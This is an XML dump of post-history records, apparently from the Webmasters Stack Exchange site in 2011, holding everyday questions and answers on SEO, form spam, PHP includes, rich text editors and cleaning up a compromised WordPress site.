  <row Id="25831" PostHistoryTypeId="5" PostId="11336" RevisionGUID="d809bf14-200a-452c-8b91-23d6b78002d4" CreationDate="2011-03-30T18:37:54.787" UserId="1253" Comment="added 96 characters in body; deleted 11 characters in body; added 84 characters in body; added 3 characters in body; added 66 characters in body" Text="Remake those images, maybe even using screenshots, and re-save them and replace them in your site. Any malware hidden in them will be removed that way.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;That snippet contained code that, if a user found your site through Google, Yahoo, or Bing search, redirected users to a site in Poland that serves up a fake search page and tries to load malware on to a user's computer." />
  <row Id="25838" PostHistoryTypeId="13" PostId="11419" RevisionGUID="fb83adc7-863d-4493-b74e-5531e5e3d2bd" CreationDate="2011-03-30T19:11:24.083" UserId="6415" Text="[{&quot;Id&quot;:6415,&quot;DisplayName&quot;:&quot;Karington&quot;}]" />
  <row Id="25839" PostHistoryTypeId="12" PostId="11419" RevisionGUID="a70b9904-8750-4ae1-a658-2920deb813c9" CreationDate="2011-03-30T20:37:27.710" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25840" PostHistoryTypeId="25" PostId="11402" RevisionGUID="0ab43957-5cfd-4783-9cf8-3d7ed9c5c70d" CreationDate="2011-03-30T21:00:22.957" Comment="http://twitter.com/#!/StackWebmasters/status/53199915244978176" />
  <row Id="25841" PostHistoryTypeId="2" PostId="11421" RevisionGUID="a6893352-da7a-47fe-90c0-749e93b002ad" CreationDate="2011-03-30T21:58:25.113" UserId="6353" Text="OpenSource Web Design http://www.oswd.org/ has 2000+ XHTML and CSS compliant files.  Over 1700 of them are free and of high quality.  If you have basic html and css knowledge they are easily customizable, and with a few hours work will rival custom designs." />
  <row Id="25842" PostHistoryTypeId="2" PostId="11422" RevisionGUID="176e57de-9edd-4cb4-8aab-83716ab2cd60" CreationDate="2011-03-30T22:05:32.350" UserId="6353" Text="Check into UptimeRobot http://www.uptimerobot.com It's free, offers HTTP and ping monitoring every 5 minutes with email, text and RSS notifications.  To my soon to be former webhost's chagrin, it's very reliable with uptime monitoring logs and past event tracking." />
  <row Id="25843" PostHistoryTypeId="2" PostId="11423" RevisionGUID="869de766-ca53-4c88-b242-c84753a0fd2c" CreationDate="2011-03-30T22:20:41.997" UserId="6462" Text="Hopefully this is the correct Stack Exchange site to be asking this question.&#xD;&#xA;&#xD;&#xA;I've inherited a fairly large web app from the previous IT guy at my organisation. It's written in PHP and there's no documentation. My PHP is very rusty at best but I've been given the task of looking at the code for the web app, working out what it does, and preparing it so it can definitely be moved to another host with no problems. &#xD;&#xA;&#xD;&#xA;The directories in which the relevant PHP, js and css files sit have a whole load of other PHP, js and css files in them - things like early revisions of files, backups, slight changes etc. All very messy.&#xD;&#xA;&#xD;&#xA;I'd like to be able to just download locally all the files that are relevant to the app and not all the extra ones so that when I come to look at the code it'll be much easier to untangle. Is there such a piece of software which, when given relevant permissions on the server, goes off and fetches an initial PHP file, looks for any code from includes and downloads them, does the same for css and js files. Is there an IDE which does something similar for when people need to debug and untangle others' web apps?" />
  <row Id="25844" PostHistoryTypeId="1" PostId="11423" RevisionGUID="869de766-ca53-4c88-b242-c84753a0fd2c" CreationDate="2011-03-30T22:20:41.997" UserId="6462" Text="Software which will fetch all relevant included files for a web app?" />
  <row Id="25845" PostHistoryTypeId="3" PostId="11423" RevisionGUID="869de766-ca53-4c88-b242-c84753a0fd2c" CreationDate="2011-03-30T22:20:41.997" UserId="6462" Text="&lt;php&gt;" />
  <row Id="25846" PostHistoryTypeId="2" PostId="11424" RevisionGUID="b1c5cce7-39bb-438a-ba3b-0d30bad91b4a" CreationDate="2011-03-30T22:32:25.750" UserId="3591" Text="I have a small real estate virtual tour website where visitors can email the agent asking for information.&#xD;&#xA;&#xD;&#xA;I realize I need to protect the email form to prevent spamming my agents.&#xD;&#xA;&#xD;&#xA;I would like to avoid those awful image captcha's like reCAPTCHA. Are there any other options? Like a very simple math question, without having to render an image with GD? Something like: &quot;2 + 3 = ?&quot;&lt;br /&gt;&#xD;&#xA;I was thinking math's because I have a multi language website and like I don't have to translate strings etc.&#xD;&#xA;&#xD;&#xA;What about a time protection? I think I saw this before. You need to wait x seconds before sending a second email. Maybe because off some &quot;hammering&quot; scripts?&#xD;&#xA;&#xD;&#xA;Any links or lights appreciated!&#xD;&#xA;" />
  <row Id="25847" PostHistoryTypeId="1" PostId="11424" RevisionGUID="b1c5cce7-39bb-438a-ba3b-0d30bad91b4a" CreationDate="2011-03-30T22:32:25.750" UserId="3591" Text="Email spam protection script" />
  <row Id="25848" PostHistoryTypeId="3" PostId="11424" RevisionGUID="b1c5cce7-39bb-438a-ba3b-0d30bad91b4a" CreationDate="2011-03-30T22:32:25.750" UserId="3591" Text="&lt;spam&gt;&lt;captcha&gt;" />
  <row Id="25849" PostHistoryTypeId="5" PostId="11424" RevisionGUID="e9bdb6c6-ad36-4441-981c-69e04ed0c24d" CreationDate="2011-03-30T22:57:26.223" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Way to list &amp;ldquo;Contact Us&amp;rdquo; email address on web site, yet reduce likelihood of spam?](http://webmasters.stackexchange.com/questions/26/way-to-list-contact-us-email-address-on-web-site-yet-reduce-likelihood-of-spam)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a small real estate virtual tour website where visitors can email the agent asking for information.&#xD;&#xA;&#xD;&#xA;I realize I need to protect the email form to prevent spamming my agents.&#xD;&#xA;&#xD;&#xA;I would like to avoid those awful image captcha's like reCAPTCHA. Are there any other options? Like a very simple math question, without having to render an image with GD? Something like: &quot;2 + 3 = ?&quot;&lt;br /&gt;&#xD;&#xA;I was thinking math's because I have a multi language website and like I don't have to translate strings etc.&#xD;&#xA;&#xD;&#xA;What about a time protection? I think I saw this before. You need to wait x seconds before sending a second email. Maybe because off some &quot;hammering&quot; scripts?&#xD;&#xA;&#xD;&#xA;Any links or lights appreciated!&#xD;&#xA;" />
  <row Id="25850" PostHistoryTypeId="10" PostId="11424" RevisionGUID="430e3a88-8760-4196-bc7b-934042ce276a" CreationDate="2011-03-30T22:57:25.960" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25851" PostHistoryTypeId="13" PostId="11419" RevisionGUID="bef9e7af-23fd-42e0-9e1b-b46242fa146f" CreationDate="2011-03-30T23:45:08.760" UserId="6415" Text="[{&quot;Id&quot;:6415,&quot;DisplayName&quot;:&quot;Karington&quot;}]" />
  <row Id="25852" PostHistoryTypeId="25" PostId="11423" RevisionGUID="42012891-4708-4878-9bab-b61e859c9ba9" CreationDate="2011-03-31T00:00:22.943" Comment="http://twitter.com/#!/StackWebmasters/status/53245213833035777" />
  <row Id="25853" PostHistoryTypeId="2" PostId="11425" RevisionGUID="44700177-e126-4928-aec2-a7aa125d5138" CreationDate="2011-03-31T00:29:34.947" UserId="4461" Text="It's more than likely your WordPress install has been compromised.&#xD;&#xA;&#xD;&#xA;The permanent fix is to follow these steps to ensure it is fully cleaned and to prevent a recurrence. This is the best method to ensure it is 100% clean.&#xD;&#xA;&#xD;&#xA;1. Backup the database&#xD;&#xA;2. Make a note of the customizations, such as plugins or any other modifications you’ve made.&#xD;&#xA;3. Remove all files from the site, be sure to save anything that isn’t part of WordPress!&#xD;&#xA;4. Reinstall WordPress&#xD;&#xA;5. Restore the database&#xD;&#xA;6. Verify the WordPress users are correct and authorized&#xD;&#xA;7. Re-install any plugins you were using&#xD;&#xA;8. Reload any additional .php files from known clean copy&#xD;&#xA;&#xD;&#xA;This is the best way to ensure the site was not attacked previously and has hidden backdoors loaded deep into the site.&#xD;&#xA;&#xD;&#xA;It is extremely important to keep your WordPress software up to date and use strong passwords for your WP admin, FTP and Database, and that you don’t use the same password for all of them.&#xD;&#xA;&#xD;&#xA;Additional information: [GoDaddy case study][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wpsecuritylock.com/cechriecom-com-script-wordpress-hacked-on-godaddy-case-study/" />
  <row Id="25854" PostHistoryTypeId="2" PostId="11426" RevisionGUID="1ac84e37-dd36-41d3-a942-84eb547d212b" CreationDate="2011-03-30T13:36:55.683" UserDisplayName="thom" Text="I have my domain (http://www.foobar.com, for example) and my website talks about technology. I want to have another website (with other content, not about technology) inside of it (http://www.foobar.com/loremipsum). I can find http://www.foobar.com in Google Search, but http://www.foobar.com/loremipsum no ...&#xD;&#xA;What should I do to index this website?&#xD;&#xA;Thank you." />
  <row Id="25855" PostHistoryTypeId="1" PostId="11426" RevisionGUID="1ac84e37-dd36-41d3-a942-84eb547d212b" CreationDate="2011-03-30T13:36:55.683" UserDisplayName="thom" Text="SEO - 2 websites in the same domain" />
  <row Id="25856" PostHistoryTypeId="3" PostId="11426" RevisionGUID="1ac84e37-dd36-41d3-a942-84eb547d212b" CreationDate="2011-03-30T13:36:55.683" UserDisplayName="thom" Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;&lt;domains&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="25857" PostHistoryTypeId="17" PostId="11426" RevisionGUID="7e2ae338-c1e3-4791-ad71-0741acb2c7a8" CreationDate="2011-03-31T02:34:22.157" UserId="-1" Comment="from http://stackoverflow.com/questions/5487062/seo-2-websites-in-the-same-domain" Text="" />
  <row Id="25858" PostHistoryTypeId="2" PostId="11427" RevisionGUID="7161b494-9577-4cb0-9e1f-5e082a477895" CreationDate="2011-03-31T02:56:39.100" UserId="6236" Text="Have you given a sitemap to Google, and are there links from http://www.foobar.com to http://www.foobar.com/loremipsum ?&#xD;&#xA;&#xD;&#xA;If not you need to get some links to allow Google etc to actually find the sub pages - you can do that with your sitemap, or you can provide a link across from your main page.&#xD;&#xA;&#xD;&#xA;If they're completely separated with no links back and forth, wouldn't they be better on separate domains, or on a subdomain: loremipsum.foobar.com  Of course you'd still have to provide the way for Google to find it in the first place." />
  <row Id="25859" PostHistoryTypeId="25" PostId="11398" RevisionGUID="1561a5a5-c144-4f84-a7c7-ad3770658fcc" CreationDate="2011-03-31T03:00:22.460" Comment="http://twitter.com/#!/StackWebmasters/status/53290510428815361" />
  <row Id="25860" PostHistoryTypeId="5" PostId="11426" RevisionGUID="8e1fba3f-9ae2-4569-895a-57f2353cbd03" CreationDate="2011-03-31T03:19:21.267" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SEO - 2 websites in the same domain](http://webmasters.stackexchange.com/questions/11413/seo-2-websites-in-the-same-domain)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have my domain (http://www.foobar.com, for example) and my website talks about technology. I want to have another website (with other content, not about technology) inside of it (http://www.foobar.com/loremipsum). I can find http://www.foobar.com in Google Search, but http://www.foobar.com/loremipsum no ...&#xD;&#xA;What should I do to index this website?&#xD;&#xA;Thank you." />
  <row Id="25861" PostHistoryTypeId="10" PostId="11426" RevisionGUID="285c9608-5b2c-4dbf-9ba7-a8a8842bed51" CreationDate="2011-03-31T03:19:21.093" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25862" PostHistoryTypeId="2" PostId="11428" RevisionGUID="14f92622-5c94-4ad5-b141-65475370c712" CreationDate="2011-03-31T04:26:17.347" UserId="3325" Text="Go positive instead of negative. &#xD;&#xA;&#xD;&#xA;On a smaller scale when someone posts a negative comment in a public forum, like a bad restaurant review, it can be drowned / pushed down the page by positive reviews. Either the restaurant owner and / or supporters will all post positive reviews causing the negative review to seem like the exception.&#xD;&#xA;&#xD;&#xA;Using the same search terms make as many references to yourself as possible to fill the search results. For instance, TrueLocal, LinkedIn, Facebook, Twitter, guest post on other blogs, post in forums etc. Maybe even create another blog on Wordpress for your company that has a slightly different focus then your company blog, perhaps more casual. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25863" PostHistoryTypeId="2" PostId="11429" RevisionGUID="f98c484a-bab3-4f1f-b411-9a4053230f5c" CreationDate="2011-03-31T05:10:12.667" UserId="6465" Text="I am working on a site for Spanish speakers, and I am looking for a UTF-8 enabled JavaScript Rich Text Editor that preserves non-ascii characters as text, instead of entity encoding. That is, when I type the words &quot;cañón&quot; and &quot;pingüino&quot;, I want the RTE to preserve the non-ascii characters as they are, not to encode them into &quot;ca&amp;ntilde;&amp;oacute;n&quot; and &quot;ping&amp;uuml;ino&quot;.&#xD;&#xA;&#xD;&#xA;So far I have checked out CKEdit, MCEdit and Nicedit, and the three of them convert my text to entities. " />
  <row Id="25864" PostHistoryTypeId="1" PostId="11429" RevisionGUID="f98c484a-bab3-4f1f-b411-9a4053230f5c" CreationDate="2011-03-31T05:10:12.667" UserId="6465" Text="A JavaScript Rich Editor That Doesn't Convert Non-ASCII Text to Character Entities?" />
  <row Id="25865" PostHistoryTypeId="3" PostId="11429" RevisionGUID="f98c484a-bab3-4f1f-b411-9a4053230f5c" CreationDate="2011-03-31T05:10:12.667" UserId="6465" Text="&lt;html&gt;&lt;javascript&gt;&lt;internationalization&gt;&lt;text-editor&gt;" />
  <row Id="25866" PostHistoryTypeId="2" PostId="11430" RevisionGUID="fabe2e3d-5e14-489e-a6e1-f91125756264" CreationDate="2011-03-31T05:47:14.587" UserId="6466" Text="Wordpress can be used to power a facebook application :)&#xD;&#xA;recently built one..." />
  <row Id="25867" PostHistoryTypeId="25" PostId="11429" RevisionGUID="acb84113-f63a-4a8a-93ee-1643a41efd4a" CreationDate="2011-03-31T06:00:22.677" Comment="http://twitter.com/#!/StackWebmasters/status/53335809536950272" />
  <row Id="25868" PostHistoryTypeId="2" PostId="11431" RevisionGUID="06ad5bae-2c84-4a66-aece-989cba4602f5" CreationDate="2011-03-31T06:15:36.567" UserId="1218" Text="[CultBooking][1] from Cultuzz is basic but free&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cultuzz.com/cultbooking" />
  <row Id="25869" PostHistoryTypeId="2" PostId="11432" RevisionGUID="41503bff-d9d9-4793-afd3-81e7058d8dbb" CreationDate="2011-03-31T07:04:26.477" UserId="6335" Text="Does time, new content is added, makes sense for search engines ?&#xD;&#xA;&#xD;&#xA;For example - between 9:00 and 18:00, or at 23:00, or at 1:00 ?" />
  <row Id="25870" PostHistoryTypeId="1" PostId="11432" RevisionGUID="41503bff-d9d9-4793-afd3-81e7058d8dbb" CreationDate="2011-03-31T07:04:26.477" UserId="6335" Text="Does time of adding new content makes sense for SE" />
  <row Id="25871" PostHistoryTypeId="3" PostId="11432" RevisionGUID="41503bff-d9d9-4793-afd3-81e7058d8dbb" CreationDate="2011-03-31T07:04:26.477" UserId="6335" Text="&lt;search-engines&gt;" />
  <row Id="25872" PostHistoryTypeId="2" PostId="11433" RevisionGUID="4e8bcac2-b7f6-4e61-896b-86ca5f257f1f" CreationDate="2011-03-31T07:22:12.913" UserId="6467" Text="Multiple sitemaps in robots.txt is what Google recommends. " />
  <row Id="25873" PostHistoryTypeId="2" PostId="11434" RevisionGUID="884fc458-570a-4879-bcac-ebe5703f7701" CreationDate="2011-03-31T07:26:04.423" UserId="6467" Text="Add content every week. Be patient. Look for links. If the content is good, you will be able to get links. " />
  <row Id="25874" PostHistoryTypeId="2" PostId="11435" RevisionGUID="470bf212-2ba7-4087-8a92-4ca8715c76ef" CreationDate="2011-03-31T07:30:36.327" UserId="6467" Text="Css sprites and reduce picture size in KB. Most slow loading sites are pictures. Hosting makes a big difference too. " />
  <row Id="25875" PostHistoryTypeId="5" PostId="11429" RevisionGUID="483aa99a-bf67-411c-b778-7ce1c79e1dc8" CreationDate="2011-03-31T07:34:58.897" UserId="5855" Comment="I think this what you intended to show.  Revert if I'm wrong." Text="I am working on a site for Spanish speakers, and I am looking for a UTF-8 enabled JavaScript Rich Text Editor that preserves non-ascii characters as text, instead of entity encoding. That is, when I type the words &quot;cañón&quot; and &quot;pingüino&quot;, I want the RTE to preserve the non-ascii characters as they are, not to encode them into &quot;ca&amp;amp;ntilde;&amp;amp;oacute;n&quot; and &quot;ping&amp;amp;uuml;ino&quot;.&#xD;&#xA;&#xD;&#xA;So far I have checked out CKEdit, MCEdit and Nicedit, and the three of them convert my text to entities. " />
  <row Id="25876" PostHistoryTypeId="24" PostId="11429" RevisionGUID="483aa99a-bf67-411c-b778-7ce1c79e1dc8" CreationDate="2011-03-31T07:34:58.897" Comment="Proposed by 5855 approved by 1064 edit id of 90" />
  <row Id="25877" PostHistoryTypeId="2" PostId="11436" RevisionGUID="de79794e-5984-48ac-a353-617c2aa545dc" CreationDate="2011-03-31T07:35:51.270" UserId="6467" Text="You need more content. Each city should be slightly different. I mean the cities are different aren't they? Talk about the uniqueness for each city. Use the city name as the page name. domain.com/computer-grand-rapids.html&#xD;&#xA;" />
  <row Id="25878" PostHistoryTypeId="2" PostId="11437" RevisionGUID="e10e1aa7-1990-46fb-8c1a-a8d16b413913" CreationDate="2011-03-31T07:41:49.970" UserId="6467" Text="Google recognizes .com as an international domain. You could do things to the .at domain, but you will get better results from a .com domain. I am assuming they are similar age. " />
  <row Id="25879" PostHistoryTypeId="2" PostId="11438" RevisionGUID="4384df35-4390-4224-a44e-344944f84009" CreationDate="2011-03-31T07:41:55.073" UserId="1064" Text="I am not aware of any software which would suit your requirements, though you should be able to handle this task without too much manual effort (and, if in doubt, copying everything - symlinks, web server config, database, and all - wholesale is all but guaranteed to work).&#xD;&#xA;&#xD;&#xA;`wget -r` should be sufficient to download the CSS and JS assets.&#xD;&#xA;&#xD;&#xA;As for the PHP, you might want to try adding this snippet at the end of the application's footer file(s) to see what's included:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        var_dump( get_included_files() );&#xD;&#xA;    ?&gt;" />
  <row Id="25880" PostHistoryTypeId="2" PostId="11439" RevisionGUID="333cbc16-57ed-44bb-a485-95795ac2b5db" CreationDate="2011-03-31T08:00:17.693" UserId="1643" Text="Search engines crawl your site at whatever time suits them. It's best to add the content when your audience will see it. Then they might link to it from their blogs or twitter. Then your SE ranking will increase." />
  <row Id="25881" PostHistoryTypeId="2" PostId="11440" RevisionGUID="1755fd29-7f1f-4f5f-a5be-433fc7671a31" CreationDate="2011-03-31T08:32:29.863" UserId="6468" Text="Actively post on other community websites such as forums and popular blogs and leave a link in your forum signature. You may gain a little SEO juice from this, but also if you have good content people from the community will stay.&#xD;&#xA;&#xD;&#xA;At the very least you can do things like create a &quot;business&quot; page on facebook and make it open to search engines." />
  <row Id="25882" PostHistoryTypeId="5" PostId="11391" RevisionGUID="34ea6212-958b-4cee-b0fc-fec383fe0ead" CreationDate="2011-03-31T08:32:48.257" UserId="5739" Comment="deleted 929 characters in body" Text="A company that provides this service is: [OpinionLab][1]&#xD;&#xA;&#xD;&#xA;And an example of this in action is here on [Dell's site][2]: look at the bottom of the page just above the country specific web sites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://opinionlab.com&#xD;&#xA;  [2]: http://www.dell.co.uk/&#xD;&#xA;" />
  <row Id="25883" PostHistoryTypeId="2" PostId="11441" RevisionGUID="a9d4b55c-6fce-4344-b621-ae7bbacc15df" CreationDate="2011-03-31T08:35:19.023" UserId="3590" Text="For already more than a month, the correct `canonical` domain/page url is visible in the cache of google but it shows up in the search results under wrong domain alias... possibly the rank is reoding away instead of converging into the one true good canonical domain alias + url...&#xD;&#xA;&#xD;&#xA;I have multiple aliases e.g. site.de  site.fr  site.com etc but the canonical is always site.com  I have a feeling it is not respecting the canonical url at all!&#xD;&#xA;&#xD;&#xA;What could the reason for that be?" />
  <row Id="25884" PostHistoryTypeId="1" PostId="11441" RevisionGUID="a9d4b55c-6fce-4344-b621-ae7bbacc15df" CreationDate="2011-03-31T08:35:19.023" UserId="3590" Text="Google still not respecting canonical url after a month..." />
  <row Id="25885" PostHistoryTypeId="3" PostId="11441" RevisionGUID="a9d4b55c-6fce-4344-b621-ae7bbacc15df" CreationDate="2011-03-31T08:35:19.023" UserId="3590" Text="&lt;seo&gt;&lt;google&gt;&lt;web-development&gt;&lt;search-engines&gt;&lt;canonical-url&gt;" />
  <row Id="25886" PostHistoryTypeId="2" PostId="11442" RevisionGUID="90b010fa-cbe5-46e5-9d80-307373f8fb02" CreationDate="2011-03-31T08:44:13.160" UserId="6447" Text="I've been trying to find an image gallery that plays nice with our custom CMS. I've evaluated a number of them, but none of them seems to have the feature list that I would like:&#xD;&#xA;&#xD;&#xA; - Run on LAMP environment&#xD;&#xA; - Free software or low license costs (the website belongs to a non-profit organisation)&#xD;&#xA; - Multi-user support&#xD;&#xA; - Multiple albums. We're posting concert pictures, and would like an album per event.&#xD;&#xA; - Pluggable authentication system. I want to reuse the accounts we have for our CMS. Permissions can be done inside the gallery itself, but I want to have a single sign on solution in a maintainable manner, by writing my own plugin/add-on for the software.&#xD;&#xA; - Upload support (multiple images at the same time)&#xD;&#xA;&#xD;&#xA;And preferrably also:&#xD;&#xA;&#xD;&#xA; - Can be integrated into a PHP page layout without IFRAMEs&#xD;&#xA; - Automatic resizing of uploaded images to a maximum size&#xD;&#xA; - Ability for visitors to place comments&#xD;&#xA;&#xD;&#xA;This combination is proving hard to find, especially the authentication requirement. I don't want to mess around all over the place in the source code to make it use the existing authentication. A plugin would be ideal, but alternatively a well thought out software design that allows for maintainable surgical changes would be acceptable.&#xD;&#xA;&#xD;&#xA;Any suggestions on which software I should take a closer look into?" />
  <row Id="25887" PostHistoryTypeId="1" PostId="11442" RevisionGUID="90b010fa-cbe5-46e5-9d80-307373f8fb02" CreationDate="2011-03-31T08:44:13.160" UserId="6447" Text="PHP Image gallery that integrates well into custom CMS" />
  <row Id="25888" PostHistoryTypeId="3" PostId="11442" RevisionGUID="90b010fa-cbe5-46e5-9d80-307373f8fb02" CreationDate="2011-03-31T08:44:13.160" UserId="6447" Text="&lt;photo-gallery&gt;" />
  <row Id="25889" PostHistoryTypeId="25" PostId="11432" RevisionGUID="862f86c3-29f4-4fe4-bb8c-cb75452eed63" CreationDate="2011-03-31T09:00:22.460" Comment="http://twitter.com/#!/StackWebmasters/status/53381107265179648" />
  <row Id="25890" PostHistoryTypeId="2" PostId="11443" RevisionGUID="99bd8798-0b59-4fe0-87f1-65891f69ebab" CreationDate="2011-03-31T10:18:53.627" UserId="1429" Text="Read more baout the subjet here: http://www.techspot.com/news/43064-google-adds-1-button-to-search-results.html&#xD;&#xA;&#xD;&#xA;Beside being something that will be definitely abused by spammers and SEOs, don't you think it's very unfair for small business?&#xD;&#xA;&#xD;&#xA;For a company with many employees it will be very easy to force them to add a +1 each, thus resulting in **company's website being upvoted a number of times that is directly proportional to the number of employees the company have**.&#xD;&#xA;&#xD;&#xA;I know you might say: *&quot;well also in real life is like this, if you have many employees, they will spread the voice about your company&quot;*, but I think it's different, because I heard many times employees talking bad about the company where they work, but **they won't be able to do the same on Google cause the manager would immediately track who did not not upvote the company website**, and as far as I know you can not downvote (I mean they can not even create a fake profile to just downvote, but let's not get into this right now).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25891" PostHistoryTypeId="1" PostId="11443" RevisionGUID="99bd8798-0b59-4fe0-87f1-65891f69ebab" CreationDate="2011-03-31T10:18:53.627" UserId="1429" Text="SEO: Google is going to add &quot;+1&quot; button to search results, major threat for small businesses?" />
  <row Id="25892" PostHistoryTypeId="3" PostId="11443" RevisionGUID="99bd8798-0b59-4fe0-87f1-65891f69ebab" CreationDate="2011-03-31T10:18:53.627" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="25893" PostHistoryTypeId="5" PostId="11443" RevisionGUID="ef6e6e1a-c476-44a9-b22d-1c56a3793f23" CreationDate="2011-03-31T10:40:50.393" UserId="1429" Comment="edited body" Text="Read more about the subjet here: http://www.techspot.com/news/43064-google-adds-1-button-to-search-results.html&#xD;&#xA;&#xD;&#xA;Beside being something that will be definitely abused by spammers and SEOs, don't you think it's very unfair for small business?&#xD;&#xA;&#xD;&#xA;For a company with many employees it will be very easy to force them to add a +1 each, thus resulting in **company's website being upvoted a number of times that is directly proportional to the number of employees the company have**.&#xD;&#xA;&#xD;&#xA;I know you might say: *&quot;well also in real life is like this, if you have many employees, they will spread the voice about your company&quot;*, but I think it's different, because I heard many times employees talking bad about the company where they work, but **they won't be able to do the same on Google cause the manager would immediately track who did not not upvote the company website**, and as far as I know you can not downvote (I mean they can not even create a fake profile to just downvote, but let's not get into this right now).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25894" PostHistoryTypeId="2" PostId="11444" RevisionGUID="14a56ca7-4dc7-4ff6-ad5c-ea062198c0eb" CreationDate="2011-03-31T10:52:45.110" UserId="6469" Text="I am in complete confusion. I need cross domain tracking set up from the LBA website to the parking domain. Myself and a partner have tried everything and cannot seem to get it working. We are thinking that its because of the 302 redirects stripping away the x-domain tags upon transfer from one domain to the other.....can anyone shed any light from previous experience? " />
  <row Id="25895" PostHistoryTypeId="1" PostId="11444" RevisionGUID="14a56ca7-4dc7-4ff6-ad5c-ea062198c0eb" CreationDate="2011-03-31T10:52:45.110" UserId="6469" Text="X Domain Tracking" />
  <row Id="25896" PostHistoryTypeId="3" PostId="11444" RevisionGUID="14a56ca7-4dc7-4ff6-ad5c-ea062198c0eb" CreationDate="2011-03-31T10:52:45.110" UserId="6469" Text="&lt;google&gt;&lt;domains&gt;&lt;google-analytics&gt;&lt;tracking&gt;" />
  <row Id="25897" PostHistoryTypeId="2" PostId="11445" RevisionGUID="b08deb0f-1558-480a-aa39-2d7e1f5df44a" CreationDate="2011-03-31T10:55:53.847" UserId="3659" Text="It is an interesting development, but according to my analysis it won't be unfair for small business since the +1's that are presented to you are linked to your own/personal network. Google already uses a similar technique for showing who from your network has Tweeted a certain page or blog post. Like this example where my friend Hans Westerbeek has Tweeted a blog post:&#xD;&#xA;&#xD;&#xA;![Twitter rich snippet][1]&#xD;&#xA;  &#xD;&#xA;It simply helps determining which websites are worth visiting based on the experiences of people that you know/trust.&#xD;&#xA;&#xD;&#xA;I can't seem to find any clue that indicates the effect (if any) of +1 on the SERP positions. I know this doesn't mean Google won't use the data (statistics) when improving their algorithms. But that is a whole different story.&#xD;&#xA;&#xD;&#xA;To me it seems an improvement of the search experience and adding value on a personal level. I won't expect Google to be stupid enough to introduce a new tool that improves search engine spam opportunities. I am certainly not dumb enough to advice my clients to use this tool in a spammy way, since the effect may just be the exact opposite.&#xD;&#xA;&#xD;&#xA;BTW: It might be a nice question to submit at the [blog of Matt Cutts][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/8rqv4.png&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/" />
  <row Id="25898" PostHistoryTypeId="2" PostId="11446" RevisionGUID="041d85cc-c271-4b8d-bcd7-812629e7b839" CreationDate="2011-03-31T11:00:48.957" UserId="1089" Text="Potentially. But I suspect not, reading the official google pages about it.&#xD;&#xA;&#xD;&#xA;http://www.google.com/+1/button/&#xD;&#xA;&#xD;&#xA;http://googleblog.blogspot.com/2011/03/1s-right-recommendations-right-when-you.html&#xD;&#xA;&#xD;&#xA;Firstly you have to be signed in to a google account to see it or use it. Joe Public won't see that BigNastyCorporation.com has 1,000,000 +1's while SmallIndependantStore.com has only has 300.&#xD;&#xA;&#xD;&#xA;Most importantly - there is no suggestion it will have any effect on how well a site ranks in google. &#xD;&#xA;&#xD;&#xA;I'm treating it as nothing more than a potentially interesting experiment." />
  <row Id="25899" PostHistoryTypeId="2" PostId="11447" RevisionGUID="5d14930f-8d45-4e52-874a-fb1077b55dcb" CreationDate="2011-03-31T11:08:35.633" UserId="3659" Text="If new content is added to your website on regular basis it will be crawled on a regular basis. It is possible to set some preferences in your [Google webmaster tools][1] account.&#xD;&#xA;&#xD;&#xA;About your question: If it is unique content and unrelated to for example a certain news event or trend it won't matter when its added. However, if you are adding content that is similar to content that appears on other websites it is, when it comes to your SERP positions, important that you content is crawled before the similar content on another website. This as your content will be considered the source and the rest as (partial)duplicates. How to handle a situation like that might be a whole different question and I am not sure if it is what you meant...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="25900" PostHistoryTypeId="6" PostId="11442" RevisionGUID="452d6518-b59b-42a9-b7cf-eb6bfc61b9d7" CreationDate="2011-03-31T11:49:55.753" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;&lt;photo-gallery&gt;" />
  <row Id="25901" PostHistoryTypeId="5" PostId="11441" RevisionGUID="94ac29b8-8c62-4ef9-9c65-8208ce7a37ea" CreationDate="2011-03-31T11:50:38.017" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Canonical Tag Not Being Recognized](http://webmasters.stackexchange.com/questions/11367/canonical-tag-not-being-recognized)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Dear fellows,&#xD;&#xA;&#xD;&#xA;For already more than a month, the correct `canonical` domain/page url is visible in the cache of google but it shows up in the search results under wrong domain alias... possibly the rank is reoding away instead of converging into the one true good canonical domain alias + url...&#xD;&#xA;&#xD;&#xA;I have multiple aliases e.g. site.de  site.fr  site.com etc but the canonical is always site.com  I have a feeling it is not respecting the canonical url at all!&#xD;&#xA;&#xD;&#xA;What could the reason for that be?" />
